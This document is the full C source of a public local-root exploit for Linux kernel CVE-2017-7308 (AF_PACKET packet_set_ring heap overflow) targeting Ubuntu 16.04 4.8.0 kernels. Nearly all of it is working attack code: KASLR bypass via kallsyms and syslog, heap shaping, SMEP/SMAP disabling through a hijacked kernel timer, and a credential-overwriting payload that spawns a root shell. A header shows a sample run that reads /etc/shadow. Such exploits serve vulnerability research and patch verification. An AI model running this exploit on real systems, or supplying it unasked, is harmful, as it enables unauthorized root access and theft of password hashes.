// Linux Kernel AF_PACKET packet_set_ring heap out-of-bounds write local root (CVE-2017-7308)
//
// Includes KASLR, SMEP, SMAP bypasses.
//
// Targets:
// - Ubuntu 16.04 kernels 4.8.0-34 <= 4.8.0-45
//
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308
// ---
// $ gcc poc.c -o pwn -Wall
// $ ./pwn
// Linux Kernel AF_PACKET packet_set_ring heap out-of-bounds write local root (CVE-2017-7308)
// [.] checking kernel version
// [.] kernel version '4.8.0-45-lowlatency #48~16.04.1-Ubuntu' detected
// [~] done, version looks good
// [.] checking system...
// [~] done, looks good
// [.] setting up namespace sandbox
// [~] done, namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel base address
// [.] trying /proc/kallsyms...
// [.] trying syslog...
// [.] done, kernel text:   ffffffff97400000
// [.] commit_creds:        ffffffff974a6ec0
// [.] prepare_kernel_cred: ffffffff974a72d0
// [.] native_write_cr4:    ffffffff97464910
// [.] padding heap
// [.] done, heap is padded
// [.] SMEP & SMAP bypass enabled, turning them off
// [.] done, SMEP & SMAP should be off now
// [.] executing get root payload 0x4017d9
// [.] done, should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// # id
// uid=0(root) gid=0(root) groups=0(root)
// # cat /etc/shadow
// root:!:17878:0:99999:7:::
// daemon:*:16911:0:99999:7:::
// bin:*:16911:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>
// ---
// Updated by <bcoles@gmail.com>
// - support for systems with SMEP but no SMAP
// - check number of CPU cores
// - additional kernel targets
// - additional KASLR bypasses
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2017-7308

#define _GNU_SOURCE

#include <fcntl.h>
#include <stdarg.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sched.h>
#include <unistd.h>

#include <sys/ioctl.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/sysinfo.h>
#include <sys/types.h>
#include <sys/utsname.h>
#include <sys/wait.h>

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <netinet/if_ether.h>
#include <net/if.h>

#define DEBUG

#ifdef DEBUG
#       define dprintf printf
#else
#       define dprintf
#endif

#define ENABLE_KASLR_BYPASS		1
#define ENABLE_SMEP_SMAP_BYPASS		1

#if ENABLE_KASLR_BYPASS
#  define KERNEL_BASE_MIN		0xffffffff00000000ul
#  define KERNEL_BASE_MAX		0xffffffffff000000ul
#  define ENABLE_KASLR_BYPASS_KALLSYMS	1
#  define ENABLE_KASLR_BYPASS_SYSLOG	1
#endif

// Can be overwritten by argv[1]
char *SHELL = "/bin/sh";

// Will be overwritten if ENABLE_KASLR_BYPASS is enabled (1)
unsigned long KERNEL_BASE = 0xffffffff81000000ul;

// Will be overwritten by detect_versions().
int kernel = -1;

struct kernel_info {
	const char* version;
	uint64_t commit_creds;
	uint64_t prepare_kernel_cred;
	uint64_t native_write_cr4;
};

struct kernel_info kernels[] = {
	{ "4.8.0-34-generic #36~16.04.1-Ubuntu", 0xa5d50, 0xa6140, 0x64210 },
	{ "4.8.0-36-generic #36~16.04.1-Ubuntu", 0xa5d50, 0xa6140, 0x64210 },
	{ "4.8.0-39-generic #42~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x64210 },
	{ "4.8.0-41-generic #44~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x64210 },
	{ "4.8.0-42-generic #45~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x64210 },
	{ "4.8.0-44-generic #47~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x64210 },
	{ "4.8.0-45-generic #48~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x64210 },

	{ "4.8.0-34-lowlatency #36~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x64910 },
	{ "4.8.0-36-lowlatency #36~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x64910 },
	{ "4.8.0-39-lowlatency #42~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x64910 },
	//{ "4.8.0-41-lowlatency #44~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x64910 },
	{ "4.8.0-42-lowlatency #45~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x64910 },
	{ "4.8.0-44-lowlatency #47~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x64910 },
	{ "4.8.0-45-lowlatency #48~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x64910 },
};

// Used to get root privileges.
#define COMMIT_CREDS			(KERNEL_BASE + kernels[kernel].commit_creds)
#define PREPARE_KERNEL_CRED		(KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
#define NATIVE_WRITE_CR4		(KERNEL_BASE + kernels[kernel].native_write_cr4)

// Will be overwritten if ENABLE_SMEP_SMAP_BYPASS is enabled (1)
unsigned long CR4_DESIRED_VALUE =	0x406e0ul;

#define KMALLOC_PAD			512
#define PAGEALLOC_PAD			1024

// packet_sock->rx_ring->prb_bdqc->retire_blk_timer
#define TIMER_OFFSET			896

// packet_sock->xmit
#define XMIT_OFFSET			1304

// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *

typedef uint32_t u32;

// hlist_node struct defined in: include/linux/types.h
// $ pahole -C hlist_node ./vmlinux
struct hlist_node {
	struct hlist_node *        next;                 /*     0     8 */
	struct hlist_node * *      pprev;                /*     8     8 */
};

// timer_list struct defined in: include/linux/timer.h
// $ pahole -C timer_list ./vmlinux
struct timer_list {
	struct hlist_node          entry;                /*     0    16 */
	long unsigned int          expires;              /*    16     8 */
	void                       (*function)(long unsigned int); /*    24     8 */
	long unsigned int          data;                 /*    32     8 */
	u32                        flags;                /*    40     4 */
	int                        start_pid;            /*    44     4 */
	void *                     start_site;           /*    48     8 */
	char                       start_comm[16];       /*    56    16 */
};

// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *

void packet_socket_rx_ring_init(int s, unsigned int block_size,
		unsigned int frame_size, unsigned int block_nr,
		unsigned int sizeof_priv, unsigned int timeout) {
	int v = TPACKET_V3;
	int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
	if (rv < 0) {
		dprintf("[-] setsockopt(PACKET_VERSION): %m\n");
		exit(EXIT_FAILURE);
	}

	struct tpacket_req3 req;
	memset(&req, 0, sizeof(req));
	req.tp_block_size = block_size;
	req.tp_frame_size = frame_size;
	req.tp_block_nr = block_nr;
	req.tp_frame_nr = (block_size * block_nr) / frame_size;
	req.tp_retire_blk_tov = timeout;
	req.tp_sizeof_priv = sizeof_priv;
	req.tp_feature_req_word = 0;

	rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
	if (rv < 0) {
		dprintf("[-] setsockopt(PACKET_RX_RING): %m\n");
		exit(EXIT_FAILURE);
	}
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
		unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
	int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if (s < 0) {
		dprintf("[-] socket(AF_PACKET): %m\n");
		exit(EXIT_FAILURE);
	}

	packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
		sizeof_priv, timeout);

	struct sockaddr_ll sa;
	memset(&sa, 0, sizeof(sa));
	sa.sll_family = PF_PACKET;
	sa.sll_protocol = htons(ETH_P_ALL);
	sa.sll_ifindex = if_nametoindex("lo");
	sa.sll_hatype = 0;
	sa.sll_pkttype = 0;
	sa.sll_halen = 0;

	int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
	if (rv < 0) {
		dprintf("[-] bind(AF_PACKET): %m\n");
		exit(EXIT_FAILURE);
	}

	return s;
}

void packet_socket_send(int s, char *buffer, int size) {
	struct sockaddr_ll sa;
	memset(&sa, 0, sizeof(sa));
	sa.sll_ifindex = if_nametoindex("lo");
	sa.sll_halen = ETH_ALEN;

	if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
			sizeof(sa)) < 0) {
		dprintf("[-] sendto(SOCK_RAW): %m\n");
		exit(EXIT_FAILURE);
	}
}

void loopback_send(char *buffer, int size) {
	int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (s == -1) {
		dprintf("[-] socket(SOCK_RAW): %m\n");
		exit(EXIT_FAILURE);
	}

	packet_socket_send(s, buffer, size);
}

int packet_sock_kmalloc() {
	int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
	if (s == -1) {
		dprintf("[-] socket(SOCK_DGRAM): %m\n");
		exit(EXIT_FAILURE);
	}
	return s;
}

void packet_sock_timer_schedule(int s, int timeout) {
	packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
}

void packet_sock_id_match_trigger(int s) {
	char buffer[16];
	packet_socket_send(s, &buffer[0], sizeof(buffer));
}

// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *

#define ALIGN(x, a)			__ALIGN_KERNEL((x), (a))
#define __ALIGN_KERNEL(x, a)		__ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
#define __ALIGN_KERNEL_MASK(x, mask)	(((x) + (mask)) & ~(mask))

#define V3_ALIGNMENT	(8)
#define BLK_HDR_LEN	(ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))

#define ETH_HDR_LEN	sizeof(struct ethhdr)
#define IP_HDR_LEN	sizeof(struct iphdr)
#define UDP_HDR_LEN	sizeof(struct udphdr)

#define UDP_HDR_LEN_FULL	(ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)

int oob_setup(int offset) {
	unsigned int maclen = ETH_HDR_LEN;
	unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
				(maclen < 16 ? 16 : maclen));
	unsigned int macoff = netoff - maclen;
	unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
		0x8000 - BLK_HDR_LEN - macoff + offset;
	return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
}

void oob_write(char *buffer, int size) {
	loopback_send(buffer, size);
}

void oob_timer_execute(void *func, unsigned long arg) {
	oob_setup(2048 + TIMER_OFFSET - 8);

	int i;
	for (i = 0; i < 32; i++) {
		int timer = packet_sock_kmalloc();
		packet_sock_timer_schedule(timer, 1000);
	}

	char buffer[2048];
	memset(&buffer[0], 0, sizeof(buffer));

	struct timer_list *timer = (struct timer_list *)&buffer[8];
	timer->function = func;
	timer->data = arg;
	timer->flags = 1;

	oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);

	sleep(1);
}

void oob_id_match_execute(void *func) {
	oob_setup(2048 + XMIT_OFFSET - 64);

	int ps[32];

	int i;
	for (i = 0; i < 32; i++)
		ps[i] = packet_sock_kmalloc();

	char buffer[2048];
	memset(&buffer[0], 0, 2048);

	void **xmit = (void **)&buffer[64];
	*xmit = func;

	oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);

	for (i = 0; i < 32; i++)
		packet_sock_id_match_trigger(ps[i]);
}

// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *

void kmalloc_pad(int count) {
	int i;
	for (i = 0; i < count; i++)
		packet_sock_kmalloc();
}

void pagealloc_pad(int count) {
	packet_socket_setup(0x8000, 2048, count, 0, 100);
}

// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *

typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

void get_root_payload(void) {
	((_commit_creds)(COMMIT_CREDS))(
		((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)
	);
}

// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *

#define CHUNK_SIZE 1024

int read_file(const char* file, char* buffer, int max_length) {
	int f = open(file, O_RDONLY);
	if (f == -1)
		return -1;
	int bytes_read = 0;
	while (1) {
		int bytes_to_read = CHUNK_SIZE;
		if (bytes_to_read > max_length - bytes_read)
			bytes_to_read = max_length - bytes_read;
		int rv = read(f, &buffer[bytes_read], bytes_to_read);
		if (rv == -1)
			return -1;
		bytes_read += rv;
		if (rv == 0)
			return bytes_read;
	}
}

struct utsname get_kernel_version() {
	struct utsname u;
	int rv = uname(&u);
	if (rv != 0) {
		dprintf("[-] uname(): %m\n");
		exit(EXIT_FAILURE);
	}
	return u;
}

#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
#define KERNEL_VERSION_SIZE_BUFFER 512

void detect_versions() {
	struct utsname u;
	char kernel_version[KERNEL_VERSION_SIZE_BUFFER];

	u = get_kernel_version();

	if (strstr(u.machine, "64") == NULL) {
		dprintf("[-] system is not using a 64-bit kernel\n");
		exit(EXIT_FAILURE);
	}

	if (strstr(u.version, "-Ubuntu") == NULL) {
		dprintf("[-] system is not using an Ubuntu kernel\n");
		exit(EXIT_FAILURE);
	}

	char *u_ver = strtok(u.version, " ");
	snprintf(kernel_version, KERNEL_VERSION_SIZE_BUFFER, "%s %s", u.release, u_ver);

	int i;
	for (i = 0; i < ARRAY_SIZE(kernels); i++) {
		if (strcmp(kernel_version, kernels[i].version) == 0) {
			dprintf("[.] kernel version '%s' detected\n", kernels[i].version);
			kernel = i;
			return;
		}
	}

	dprintf("[-] kernel version not recognized\n");
	exit(EXIT_FAILURE);
}

#define PROC_CPUINFO_LENGTH 4096

// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
int smap_smep_enabled() {
	char buffer[PROC_CPUINFO_LENGTH];
	char* path = "/proc/cpuinfo";
	int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
	if (length == -1) {
		dprintf("[-] open/read(%s): %m\n", path);
		exit(EXIT_FAILURE);
	}

	int rv = 0;
	char* found = memmem(&buffer[0], length, "smep", 4);
	if (found != NULL)
		rv += 1;
	found = memmem(&buffer[0], length, "smap", 4);
	if (found != NULL)
		rv += 2;
	return rv;
}

void check_smep_smap() {
	int rv = smap_smep_enabled();

#if !ENABLE_SMEP_SMAP_BYPASS
	if (rv >= 1) {
		dprintf("[-] SMAP/SMEP detected, use ENABLE_SMEP_SMAP_BYPASS\n");
		exit(EXIT_FAILURE);
	}
#endif

	switch(rv) {
	case 1: // SMEP
		CR4_DESIRED_VALUE = 0x406e0ul;
		break;
	case 2: // SMAP
		CR4_DESIRED_VALUE = 0x407f0ul;
		break;
	case 3: // SMEP and SMAP
		CR4_DESIRED_VALUE = 0x407f0ul;
		break;
	}
}

void check_env() {
	int min_procs = 2;

	int nprocs = 0;
	nprocs = get_nprocs_conf();

	if (nprocs < min_procs) {
		dprintf("[-] system has less than %d processor cores\n", min_procs);
		exit(EXIT_FAILURE);
	}

	struct stat st;

	if (stat("/dev/grsec", &st) == 0) {
		dprintf("[!] Warning: grsec is in use\n");
	}

	if (stat("/proc/sys/lkrg", &st) == 0) {
		dprintf("[!] Warning: lkrg is in use\n");
	}
}

// * * * * * * * * * * * * * Syslog KASLR bypass * * * * * * * * * * * * * * *

#if ENABLE_KASLR_BYPASS_SYSLOG
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10

unsigned long get_kernel_addr_syslog_xenial() {
	dprintf("[.] trying syslog...\n");

	int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
	if (size == -1) {
		dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER): %m\n");
		return 0;
	}

	size = (size / getpagesize() + 1) * getpagesize();
	char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE,
		MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

	size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size);
	if (size == -1) {
		dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL): %m\n");
		return 0;
	}

	const char *needle1 = "Freeing SMP";
	char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1));
	if (substr == NULL)
		return 0;

	for (size = 0; substr[size] != '\n'; size++);

	const char *needle2 = "ffff";
	substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2));
	if (substr == NULL)
		return 0;

	char *endptr = &substr[16];
	unsigned long addr = strtoul(&substr[0], &endptr, 16);

	addr &= 0xfffffffffff00000ul;
	addr -= 0x1000000ul;

	if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX)
		return addr;

	return 0;
}
#endif

// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
// https://grsecurity.net/~spender/exploits/exploit.txt

#if ENABLE_KASLR_BYPASS_KALLSYMS
unsigned long get_kernel_addr_kallsyms() {
	FILE *f;
	unsigned long addr = 0;
	char dummy;
	char sname[256];
	char* name = "startup_64";
	char* path = "/proc/kallsyms";

	dprintf("[.] trying %s...\n", path);
	f = fopen(path, "r");
	if (f == NULL) {
		dprintf("[-] open/read(%s): %m\n", path);
		return 0;
	}

	int ret = 0;
	while (ret != EOF) {
		ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			fclose(f);
			return addr;
		}
	}

	fclose(f);
	dprintf("[-] kernel base not found in %s\n", path);
	return 0;
}
#endif

// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *

unsigned long get_kernel_addr() {
	unsigned long addr = 0;

#if ENABLE_KASLR_BYPASS_KALLSYMS
	addr = get_kernel_addr_kallsyms();
        if (addr) return addr;
#endif

#if ENABLE_KASLR_BYPASS_SYSLOG
	addr = get_kernel_addr_syslog_xenial();
	if (addr) return addr;
#endif

	dprintf("[-] KASLR bypass failed\n");
	exit(EXIT_FAILURE);

	return 0;
}

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *

void exec_shell() {
	int fd;

	fd = open("/proc/1/ns/net", O_RDONLY);
	if (fd == -1) {
		dprintf("[-] open(/proc/1/ns/net): %m\n");
		exit(EXIT_FAILURE);
	}

	if (setns(fd, CLONE_NEWNET) == -1) {
		dprintf("[-] error calling setns: %m\n");
		exit(EXIT_FAILURE);
	}

	system(SHELL);
}

void fork_shell() {
	pid_t rv;

	rv = fork();
	if (rv == -1) {
		dprintf("[-] fork(): %m\n");
		exit(EXIT_FAILURE);
	}

	if (rv == 0) {
		exec_shell();
	}
}

int is_root() {
	// We can't simple check uid, since we're running inside a namespace
	// with uid set to 0. Try opening /etc/shadow instead.
	int fd = open("/etc/shadow", O_RDONLY);
	if (fd == -1)
		return 0;
	close(fd);
	return 1;
}

void check_root() {
	dprintf("[.] checking if we got root\n");

	if (!is_root()) {
		dprintf("[-] something went wrong =(\n");
		return;
	}

	dprintf("[+] got r00t ^_^\n");

	// Fork and exec instead of just doing the exec to avoid potential
	// memory corruptions when closing packet sockets.
	fork_shell();
}

int write_file(const char* file, const char* what, ...) {
	char buf[1024];
	va_list args;
	va_start(args, what);
	vsnprintf(buf, sizeof(buf), what, args);
	va_end(args);
	buf[sizeof(buf) - 1] = 0;
	int len = strlen(buf);

	int fd = open(file, O_WRONLY | O_CLOEXEC);
	if (fd == -1)
		return 0;
	if (write(fd, buf, len) != len) {
		close(fd);
		return 0;
	}
	close(fd);
	return 1;
}

void setup_sandbox() {
	int real_uid = getuid();
	int real_gid = getgid();

        if (unshare(CLONE_NEWUSER) != 0) {
		dprintf("[-] unshare(CLONE_NEWUSER): %m\n");
		exit(EXIT_FAILURE);
	}

        if (unshare(CLONE_NEWNET) != 0) {
		dprintf("[-] unshare(CLONE_NEWUSER): %m\n");
		exit(EXIT_FAILURE);
	}

	if (!write_file("/proc/self/setgroups", "deny")) {
		dprintf("[-] write_file(/proc/self/set_groups)\n");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
		dprintf("[-] write_file(/proc/self/uid_map)\n");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
		dprintf("[-] write_file(/proc/self/gid_map)\n");
		exit(EXIT_FAILURE);
	}

	cpu_set_t my_set;
	CPU_ZERO(&my_set);
	CPU_SET(0, &my_set);
	if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
		dprintf("[-] sched_setaffinity(): %m\n");
		exit(EXIT_FAILURE);
	}

	if (system("/sbin/ifconfig lo up") != 0) {
		dprintf("[-] system(/sbin/ifconfig lo up)\n");
		exit(EXIT_FAILURE);
	}
}

int main(int argc, char *argv[]) {
	if (argc > 1) SHELL = argv[1];

	dprintf("Linux Kernel AF_PACKET packet_set_ring heap out-of-bounds write local root (CVE-2017-7308)\n");

	dprintf("[.] checking kernel version\n");
	detect_versions();
	dprintf("[~] done, version looks good\n");

	dprintf("[.] checking system...\n");
	check_env();
	check_smep_smap();
	dprintf("[~] done, looks good\n");

	dprintf("[.] setting up namespace sandbox\n");
	setup_sandbox();
	dprintf("[~] done, namespace sandbox set up\n");

#if ENABLE_KASLR_BYPASS
	dprintf("[.] KASLR bypass enabled, getting kernel base address\n");
	KERNEL_BASE = get_kernel_addr();
	dprintf("[.] done, kernel text:   %lx\n", KERNEL_BASE);
#endif

	dprintf("[.] commit_creds:        %lx\n", COMMIT_CREDS);
	dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);

#if ENABLE_SMEP_SMAP_BYPASS
	dprintf("[.] native_write_cr4:    %lx\n", NATIVE_WRITE_CR4);
#endif

	dprintf("[.] padding heap\n");
	kmalloc_pad(KMALLOC_PAD);
	pagealloc_pad(PAGEALLOC_PAD);
	dprintf("[.] done, heap is padded\n");

#if ENABLE_SMEP_SMAP_BYPASS
	dprintf("[.] SMEP & SMAP bypass enabled, turning them off\n");
	oob_timer_execute((void *)(NATIVE_WRITE_CR4), CR4_DESIRED_VALUE);
	dprintf("[.] done, SMEP & SMAP should be off now\n");
#endif

	dprintf("[.] executing get root payload %p\n", &get_root_payload);
	oob_id_match_execute((void *)&get_root_payload);
	dprintf("[.] done, should be root now\n");

	check_root();

	while (1) sleep(1000);

	return 0;
}
